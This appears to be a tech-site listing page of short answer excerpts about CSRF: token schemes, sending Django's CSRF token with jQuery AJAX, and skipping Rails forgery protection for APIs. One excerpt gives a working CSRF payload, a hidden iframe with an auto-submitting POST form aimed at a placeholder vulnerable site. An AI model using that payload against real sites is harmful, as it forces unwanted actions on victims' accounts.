anti-CSRF token and Javascript

There are several techniques, which when used together provide a sufficient CSRF protection. Unique Token A single, session-specific token is good enough for most applications. Just make sure that your site doesn’t have any XSS vulnerabilities, otherwise any kind of token technique you employ is a waste. AJAX call to regenerate the token is a … Read more

Example of silently submitting a POST FORM (CSRF)

One solution would be to open the form’s action in a frame like an iframe: <iframe style=”display:none” name=”csrf-frame”></iframe> <form method=’POST’ action=’http://vulnerablesite.com/form.php’ target=”csrf-frame” id=”csrf-form”> <input type=”hidden” name=”criticaltoggle” value=”true”> <input type=”submit” value=”submit”> </form> <script>document.getElementById(“csrf-form”).submit()</script>

Jquery and Django CSRF Token

You are not passing the csrf token with POST. Try doing what I have done in data. That is to fetch the csrf token (or your own method) and pass it in your arguments. $.ajax({ url : url, type: “POST”, data : {csrfmiddlewaretoken: document.getElementsByName(‘csrfmiddlewaretoken’)[0].value}, dataType : “json”, success: function( data ){ // do something } … Read more

Rails 4 skipping protect_from_forgery for API actions

An attacker could CURL at your controllers all they like, but if your API requires authentication, they wont get anywhere. Making the API consumers send a CSRF is not really what CSRF does. To do this you’d need to implement a type of knocking mechanism where your client hits an authorization endpoint first to get … Read more

tech